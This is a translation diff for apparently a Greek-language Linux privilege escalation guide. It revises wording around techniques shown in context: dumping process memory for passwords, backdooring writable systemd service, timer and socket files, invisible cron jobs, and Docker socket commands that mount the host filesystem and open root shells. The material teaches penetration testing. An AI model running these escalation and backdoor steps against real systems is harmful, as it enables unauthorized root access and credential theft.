Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

src/SUMMARY.md

@@ -96,6 +96,7 @@
 
 - [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
 - [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
+  - [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
   - [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
   - [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
   - [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)

src/linux-hardening/privilege-escalation/README.md

@@ -6,7 +6,7 @@
 
 ### OS info
 
-Ας ξεκινήσουμε αποκτώντας κάποιες γνώσεις για το λειτουργικό σύστημα που τρέχει
+Ας αρχίσουμε να αποκτούμε κάποιες γνώσεις για το λειτουργικό σύστημα που εκτελείται
 ```bash
 (cat /proc/version || uname -a ) 2>/dev/null
 lsb_release -a 2>/dev/null # old, not by default on many systems
@@ -14,7 +14,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
 ```
 ### Path
 
-Αν έχετε **δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`**, μπορεί να είστε σε θέση να υποκλέψετε κάποιες βιβλιοθήκες ή δυαδικά αρχεία:
+Αν έχετε **δικαιώματα εγγραφής σε οποιονδήποτε φάκελο μέσα στη μεταβλητή `PATH`** μπορεί να είστε σε θέση να υποκλέψετε κάποιες βιβλιοθήκες ή δυαδικά αρχεία:
 ```bash
 echo $PATH
 ```
@@ -32,8 +32,8 @@ cat /proc/version
 uname -a
 searchsploit "Linux Kernel"
 ```
-Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικούς ήδη **συγκεντρωμένους εκμεταλλεύσεις** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
-Άλλες ιστοσελίδες όπου μπορείτε να βρείτε μερικούς **συγκεντρωμένους εκμεταλλεύσεις**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
+Μπορείτε να βρείτε μια καλή λίστα ευάλωτων πυρήνων και μερικούς ήδη **compiled exploits** εδώ: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) και [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
+Άλλες ιστοσελίδες όπου μπορείτε να βρείτε μερικούς **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
 
 Για να εξάγετε όλες τις ευάλωτες εκδόσεις πυρήνα από αυτή την ιστοσελίδα μπορείτε να κάνετε:
 ```bash
@@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash
 ```
 ### Dmesg signature verification failed
 
-Ελέγξτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί.
+Δείτε το **smasher2 box of HTB** για ένα **παράδειγμα** του πώς αυτή η ευπάθεια θα μπορούσε να εκμεταλλευτεί.
 ```bash
 dmesg 2>/dev/null | grep "signature"
 ```
@@ -215,7 +215,7 @@ done
 ```
 #### /proc/$pid/maps & /proc/$pid/mem
 
-Για μια δεδομένη ταυτότητα διαδικασίας, **τα maps δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης τις **άδειες κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο.
+Για μια δεδομένη ταυτότητα διαδικασίας, **τα maps δείχνουν πώς είναι χαρτογραφημένη η μνήμη μέσα στον εικονικό χώρο διευθύνσεων αυτής της διαδικασίας**; δείχνει επίσης **τα δικαιώματα κάθε χαρτογραφημένης περιοχής**. Το **mem** ψευδοαρχείο **εκθέτει τη μνήμη των διαδικασιών**. Από το αρχείο **maps** γνωρίζουμε ποιες **περιοχές μνήμης είναι αναγνώσιμες** και τους offset τους. Χρησιμοποιούμε αυτές τις πληροφορίες για να **αναζητήσουμε στο αρχείο mem και να εξάγουμε όλες τις αναγνώσιμες περιοχές** σε ένα αρχείο.
 ```bash
 procdump()
 (
@@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
 ```
 ### ProcDump για linux
 
-ProcDump είναι μια επαναστατική έκδοση του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Αποκτήστε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
+ProcDump είναι μια επανεξέταση του κλασικού εργαλείου ProcDump από τη σουίτα εργαλείων Sysinternals για Windows. Αποκτήστε το στο [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
 ```
 procdump -p 1714
 
@@ -270,7 +270,7 @@ Press Ctrl-C to end monitoring without terminating the process.
 
 - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux)
 - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Μπορείτε να αφαιρέσετε χειροκίνητα τις απαιτήσεις root και να εξάγετε τη διαδικασία που ανήκει σε εσάς
-- Το σενάριο A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root)
+- Script A.5 από [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (απαιτείται root)
 
 ### Διαπιστευτήρια από τη Μνήμη Διαδικασίας
 
@@ -288,16 +288,16 @@ strings *.dump | grep -i password
 ```
 #### mimipenguin
 
-Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει καθαρές πιστοποιήσεις από τη μνήμη** και από μερικά **καλά γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά.
+Το εργαλείο [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) θα **κλέψει καθαρές πιστοποιήσεις από τη μνήμη** και από μερικά **γνωστά αρχεία**. Απαιτεί δικαιώματα root για να λειτουργήσει σωστά.
 
 | Χαρακτηριστικό                                    | Όνομα Διαδικασίας     |
 | ------------------------------------------------- | -------------------- |
 | Κωδικός GDM (Kali Desktop, Debian Desktop)        | gdm-password         |
 | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
-| LightDM (Ubuntu Desktop)                          | lightdm              |
+| LightDM (Ubuntu Desktop)                           | lightdm              |
 | VSFTPd (Ενεργές Συνδέσεις FTP)                    | vsftpd               |
-| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth)      | apache2              |
-| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo)     | sshd:                |
+| Apache2 (Ενεργές Συνεδρίες HTTP Basic Auth)       | apache2              |
+| OpenSSH (Ενεργές Συνεδρίες SSH - Χρήση Sudo)      | sshd:                |
 
 #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
 ```bash
@@ -362,7 +362,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
 ```
 ### Συχνές cron εργασίες
 
-Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κερδίσετε δικαιώματα.
+Μπορείτε να παρακολουθήσετε τις διαδικασίες για να αναζητήσετε διαδικασίες που εκτελούνται κάθε 1, 2 ή 5 λεπτά. Ίσως μπορείτε να εκμεταλλευτείτε αυτό και να κλιμακώσετε τα δικαιώματα.
 
 Για παράδειγμα, για να **παρακολουθήσετε κάθε 0.1s κατά τη διάρκεια 1 λεπτού**, **ταξινομήστε κατά λιγότερες εκτελέσεις εντολών** και διαγράψτε τις εντολές που έχουν εκτελεστεί περισσότερο, μπορείτε να κάνετε:
 ```bash
@@ -372,20 +372,20 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
 
 ### Αόρατα cron jobs
 
-Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας μια επιστροφή καροτσιού μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα επιστροφής καροτσιού):
+Είναι δυνατόν να δημιουργήσετε ένα cronjob **βάζοντας ένα χαρακτήρα επιστροφής καροτσιού μετά από ένα σχόλιο** (χωρίς χαρακτήρα νέας γραμμής), και το cron job θα λειτουργήσει. Παράδειγμα (σημειώστε τον χαρακτήρα επιστροφής καροτσιού):
 ```bash
 #This is a comment inside a cron config file\r* * * * * echo "Surprise!"
 ```
 ## Υπηρεσίες
 
-### Γραφές _.service_
+### Γραφές _.service_ που είναι εγγράψιμες
 
-Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, θα **μπορούσατε να το τροποποιήσετε** ώστε να **εκτελεί** το **backdoor σας όταν** η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
-Για παράδειγμα, δημιουργήστε το backdoor σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`**
+Ελέγξτε αν μπορείτε να γράψετε οποιοδήποτε αρχείο `.service`, αν μπορείτε, μπορείτε να το **τροποποιήσετε** ώστε να **εκτελεί** την **πίσω πόρτα** σας όταν η υπηρεσία **ξεκινά**, **επανεκκινείται** ή **σταματά** (ίσως χρειαστεί να περιμένετε μέχρι να επανεκκινήσει η μηχανή).\
+Για παράδειγμα, δημιουργήστε την πίσω πόρτα σας μέσα στο αρχείο .service με **`ExecStart=/tmp/script.sh`**
 
-### Εκτελέσιμα αρχεία υπηρεσιών
+### Εκτελέσιμα αρχεία υπηρεσίας που είναι εγγράψιμα
 
-Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με backdoors ώστε όταν οι υπηρεσίες εκτελούνται ξανά, τα backdoors να εκτελούνται.
+Λάβετε υπόψη ότι αν έχετε **δικαιώματα εγγραφής σε εκτελέσιμα αρχεία που εκτελούνται από υπηρεσίες**, μπορείτε να τα αλλάξετε με πίσω πόρτες ώστε όταν οι υπηρεσίες εκτελούνται ξανά, οι πίσω πόρτες να εκτελούνται.
 
 ### systemd PATH - Σχετικές Διαδρομές
 
@@ -399,13 +399,13 @@ ExecStart=faraday-server
 ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
 ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
 ```
-Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με το **ίδιο όνομα όπως η σχετική διαδρομή του δυαδικού** μέσα στον φάκελο PATH του systemd που μπορείτε να γράψετε, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευάλωτη ενέργεια (**Έναρξη**, **Διακοπή**, **Επαναφόρτωση**), η **πίσω πόρτα σας θα εκτελείται** (οι χρήστες χωρίς δικαιώματα συνήθως δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες, αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`).
+Στη συνέχεια, δημιουργήστε ένα **εκτελέσιμο** με το **ίδιο όνομα όπως η σχετική διαδρομή του δυαδικού** μέσα στον φάκελο PATH του systemd που μπορείτε να γράψετε, και όταν η υπηρεσία ζητηθεί να εκτελέσει την ευάλωτη ενέργεια (**Start**, **Stop**, **Reload**), η **πίσω πόρτα σας θα εκτελείται** (οι χρήστες χωρίς δικαιώματα συνήθως δεν μπορούν να ξεκινήσουν/σταματήσουν υπηρεσίες αλλά ελέγξτε αν μπορείτε να χρησιμοποιήσετε `sudo -l`).
 
 **Μάθετε περισσότερα για τις υπηρεσίες με `man systemd.service`.**
 
 ## **Χρονοδιακόπτες**
 
-Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα χρονικού ημερολογίου και μονοτονικών χρονικών γεγονότων και μπορούν να εκτελούνται ασύγχρονα.
+Οι **Χρονοδιακόπτες** είναι αρχεία μονάδας systemd των οποίων το όνομα τελειώνει σε `**.timer**` που ελέγχουν τα αρχεία `**.service**` ή γεγονότα. Οι **Χρονοδιακόπτες** μπορούν να χρησιμοποιηθούν ως εναλλακτική λύση στο cron καθώς έχουν ενσωματωμένη υποστήριξη για γεγονότα ημερολογιακού χρόνου και μονοτονικού χρόνου και μπορούν να εκτελούνται ασύγχρονα.
 
 Μπορείτε να απαριθμήσετε όλους τους χρονοδιακόπτες με:
 ```bash
@@ -421,7 +421,7 @@ Unit=backdoor.service
 
 > Η μονάδα που θα ενεργοποιηθεί όταν λήξει αυτός ο χρονοδιακόπτης. Το επιχείρημα είναι ένα όνομα μονάδας, του οποίου το επίθημα δεν είναι ".timer". Αν δεν καθοριστεί, αυτή η τιμή προεπιλέγεται σε μια υπηρεσία που έχει το ίδιο όνομα με τη μονάδα χρονοδιακόπτη, εκτός από το επίθημα. (Δείτε παραπάνω.) Συνιστάται το όνομα της μονάδας που ενεργοποιείται και το όνομα της μονάδας χρονοδιακόπτη να είναι ονομάζονται ομοίως, εκτός από το επίθημα.
 
-Επομένως, για να εκμεταλλευτείτε αυτή την άδεια θα χρειαστεί να:
+Επομένως, για να εκμεταλλευτείτε αυτήν την άδεια θα χρειαστεί να:
 
 - Βρείτε κάποια μονάδα systemd (όπως μια `.service`) που **εκτελεί ένα εγγράψιμο δυαδικό αρχείο**
 - Βρείτε κάποια μονάδα systemd που **εκτελεί μια σχετική διαδρομή** και έχετε **δικαιώματα εγγραφής** πάνω στη **διαδρομή systemd** (για να προσποιηθείτε ότι είστε αυτή η εκτελέσιμη)
@@ -445,20 +445,20 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li
 
 **Μάθετε περισσότερα για τους sockets με `man systemd.socket`.** Μέσα σε αυτό το αρχείο, μπορούν να ρυθμιστούν αρκετές ενδιαφέρουσες παράμετροι:
 
-- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, η IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
-- `Accept`: Δέχεται ένα boolean επιχείρημα. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια ενιαία μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
-- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από επιχειρήματα για τη διαδικασία.
+- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Αυτές οι επιλογές είναι διαφορετικές αλλά χρησιμοποιείται μια σύνοψη για να **υποδείξει πού θα ακούσει** ο socket (η διαδρομή του αρχείου socket AF_UNIX, το IPv4/6 και/ή ο αριθμός θύρας για ακρόαση, κ.λπ.)
+- `Accept`: Δέχεται μια boolean παράμετρο. Αν είναι **true**, μια **εγκατάσταση υπηρεσίας δημιουργείται για κάθε εισερχόμενη σύνδεση** και μόνο ο socket σύνδεσης μεταβιβάζεται σε αυτήν. Αν είναι **false**, όλοι οι ακροατές sockets μεταβιβάζονται **στην ξεκινώμενη μονάδα υπηρεσίας**, και μόνο μία μονάδα υπηρεσίας δημιουργείται για όλες τις συνδέσεις. Αυτή η τιμή αγνοείται για sockets datagram και FIFOs όπου μια μοναδική μονάδα υπηρεσίας χειρίζεται χωρίς όρους όλη την εισερχόμενη κίνηση. **Προεπιλογή είναι το false**. Για λόγους απόδοσης, συνιστάται να γράφετε νέους δαίμονες μόνο με τρόπο που είναι κατάλληλος για `Accept=no`.
+- `ExecStartPre`, `ExecStartPost`: Δέχεται μία ή περισσότερες γραμμές εντολών, οι οποίες **εκτελούνται πριν** ή **μετά** τη δημιουργία και δέσμευση των ακροατών **sockets**/FIFOs, αντίστοιχα. Ο πρώτος τόκος της γραμμής εντολών πρέπει να είναι ένα απόλυτο όνομα αρχείου, ακολουθούμενο από παραμέτρους για τη διαδικασία.
 - `ExecStopPre`, `ExecStopPost`: Πρόσθετες **εντολές** που εκτελούνται **πριν** ή **μετά** το κλείσιμο και την αφαίρεση των ακροατών **sockets**/FIFOs, αντίστοιχα.
-- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα είναι απαραίτητο να χρησιμοποιήσετε αυτή την επιλογή.
+- `Service`: Προσδιορίζει το όνομα της μονάδας **υπηρεσίας** **που θα ενεργοποιηθεί** με **εισερχόμενη κίνηση**. Αυτή η ρύθμιση επιτρέπεται μόνο για sockets με Accept=no. Προεπιλογή είναι η υπηρεσία που φέρει το ίδιο όνομα με τον socket (με το επίθημα να έχει αντικατασταθεί). Στις περισσότερες περιπτώσεις, δεν θα πρέπει να είναι απαραίτητο να χρησιμοποιήσετε αυτήν την επιλογή.
 
 ### Writable .socket files
 
-Αν βρείτε ένα **γραφτό** αρχείο `.socket` μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η πίσω πόρτα θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **χρειαστεί πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\
-_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η πίσω πόρτα δεν θα εκτελείται_
+Αν βρείτε ένα **γρα writable** `.socket` αρχείο μπορείτε να **προσθέσετε** στην αρχή της ενότητας `[Socket]` κάτι σαν: `ExecStartPre=/home/kali/sys/backdoor` και η backdoor θα εκτελείται πριν δημιουργηθεί ο socket. Επομένως, θα **χρειαστεί πιθανώς να περιμένετε μέχρι να επανεκκινηθεί η μηχανή.**\
+_Σημειώστε ότι το σύστημα πρέπει να χρησιμοποιεί αυτή τη ρύθμιση αρχείου socket ή η backdoor δεν θα εκτελείται_
 
 ### Writable sockets
 
-Αν **εντοπίσετε οποιονδήποτε γραφτό socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα αρχεία ρύθμισης `.socket`_), τότε **μπορείτε να επικοινωνήσετε** με αυτόν τον socket και ίσως να εκμεταλλευτείτε μια ευπάθεια.
+Αν **εντοπίσετε οποιονδήποτε writable socket** (_τώρα μιλάμε για Unix Sockets και όχι για τα αρχεία ρύθμισης `.socket`_), τότε **μπορείτε να επικοινωνήσετε** με αυτόν τον socket και ίσως να εκμεταλλευτείτε μια ευπάθεια.
 
 ### Enumerate Unix Sockets
 ```bash
@@ -489,11 +489,11 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
 
 ### Γράψιμο Docker Socket
 
-Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιωμάτων εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν η Docker CLI δεν είναι διαθέσιμη.
+Το Docker socket, που συχνά βρίσκεται στο `/var/run/docker.sock`, είναι ένα κρίσιμο αρχείο που θα πρέπει να ασφαλίζεται. Από προεπιλογή, είναι εγ writable από τον χρήστη `root` και τα μέλη της ομάδας `docker`. Η κατοχή δικαιώματος εγγραφής σε αυτό το socket μπορεί να οδηγήσει σε κλιμάκωση δικαιωμάτων. Ακολουθεί μια ανάλυση του πώς μπορεί να γίνει αυτό και εναλλακτικές μέθοδοι αν το Docker CLI δεν είναι διαθέσιμο.
 
 #### **Κλιμάκωση Δικαιωμάτων με Docker CLI**
 
-Αν έχετε δικαιώματα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές:
+Αν έχετε δικαίωμα εγγραφής στο Docker socket, μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας τις παρακάτω εντολές:
 ```bash
 docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
 docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
@@ -510,7 +510,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
 curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
 ```
 
-2.  **Δημιουργία Κοντέινερ:** Στείλτε ένα αίτημα για να δημιουργήσετε ένα κοντέινερ που θα συνδέει τον ριζικό κατάλογο του συστήματος host.
+2.  **Δημιουργία Κοντέινερ:** Στείλτε ένα αίτημα για να δημιουργήσετε ένα κοντέινερ που θα προσαρτήσει τον ριζικό κατάλογο του συστήματος host.
 
 ```bash
 curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
@@ -536,7 +536,7 @@ Upgrade: tcp
 
 ### Άλλα
 
-Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στη υποδοχή docker επειδή είστε **μέσα στην ομάδα `docker`** έχετε [**περισσότερους τρόπους για να κλιμακώσετε τα δικαιώματα**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API ακούει σε μια θύρα** μπορείτε επίσης να το συμβιβάσετε](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
+Σημειώστε ότι αν έχετε δικαιώματα εγγραφής πάνω στη υποδοχή docker επειδή είστε **μέσα στην ομάδα `docker`** έχετε [**περισσότερους τρόπους για να κλιμακώσετε τα δικαιώματα**](interesting-groups-linux-pe/index.html#docker-group). Αν το [**docker API ακούει σε μια θύρα** μπορείτε επίσης να το παραβιάσετε](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
 
 Ελέγξτε **περισσότερους τρόπους για να σπάσετε από το docker ή να το κακοποιήσετε για να κλιμακώσετε τα δικαιώματα** στο:
 
@@ -562,11 +562,11 @@ runc-privilege-escalation.md
 
 ## **D-Bus**
 
-Το D-Bus είναι ένα προηγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα με αποδοτικό τρόπο. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
+Το D-Bus είναι ένα εξελιγμένο **σύστημα Επικοινωνίας Μεταξύ Διαδικασιών (IPC)** που επιτρέπει στις εφαρμογές να αλληλεπιδρούν και να μοιράζονται δεδομένα αποτελεσματικά. Σχεδιασμένο με γνώμονα το σύγχρονο σύστημα Linux, προσφέρει ένα ισχυρό πλαίσιο για διάφορες μορφές επικοινωνίας εφαρμογών.
 
-Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, διευκολύνοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
+Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
 
-Το D-Bus λειτουργεί με ένα **μοντέλο επιτρέπει/απαγορεύει**, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των δικαιωμάτων.
+Το D-Bus λειτουργεί με ένα **μοντέλο επιτρεπόμενου/απαγορευμένου**, διαχειριζόμενο τα δικαιώματα μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των δικαιωμάτων.
 
 Ένα παράδειγμα μιας τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf` παρέχεται, λεπτομερώς τα δικαιώματα για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από `fi.w1.wpa_supplicant1`.
 
@@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
 
 ## **Δίκτυο**
 
-Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να κατανοείτε τη θέση της μηχανής.
+Είναι πάντα ενδιαφέρον να καταγράφετε το δίκτυο και να προσδιορίζετε τη θέση της μηχανής.
 
 ### Γενική καταγραφή
 ```bash
@@ -629,7 +629,7 @@ timeout 1 tcpdump
 
 ### Γενική Αρίθμηση
 
-Έλεγξε **ποιος** είσαι, ποιες **άδειες** έχεις, ποιοι **χρήστες** υπάρχουν στα συστήματα, ποιοι μπορούν να **συνδεθούν** και ποιοι έχουν **δικαιώματα root:**
+Έλεγξε **ποιος** είσαι, ποιες **privileges** έχεις, ποιοι **χρήστες** είναι στα συστήματα, ποιοι μπορούν να **login** και ποιοι έχουν **root privileges:**
 ```bash
